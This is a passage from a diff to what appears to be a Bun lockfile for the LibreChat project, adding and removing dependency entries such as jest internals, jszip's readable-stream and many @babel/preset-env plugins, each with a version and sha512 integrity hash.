"sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], - "jest-runtime/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], + "jest-runtime/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], - "jest-snapshot/expect/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="], + "jest-runtime/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], "jest-snapshot/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], "jest-snapshot/synckit/@pkgr/core": ["@pkgr/core@0.2.9", "", {}, "sha512-QNqXyfVS2wm9hweSYD2O7F0G06uurj9kZ96TRQE5Y9hU7+tgdZwIkbAKc5Ocy1HxEY2kuDQa6cQ1WRs/O5LFKA=="], - "jest-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="], - "jest-validate/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], "jest-worker/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], @@ -7375,139 +7339,13 @@ "jsonwebtoken/jws/jwa": ["jwa@1.4.1", "", { "dependencies": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA=="], + "jszip/readable-stream/isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="], + + "jszip/readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="], + "jwks-rsa/@types/express/@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.6", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A=="], - "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex": 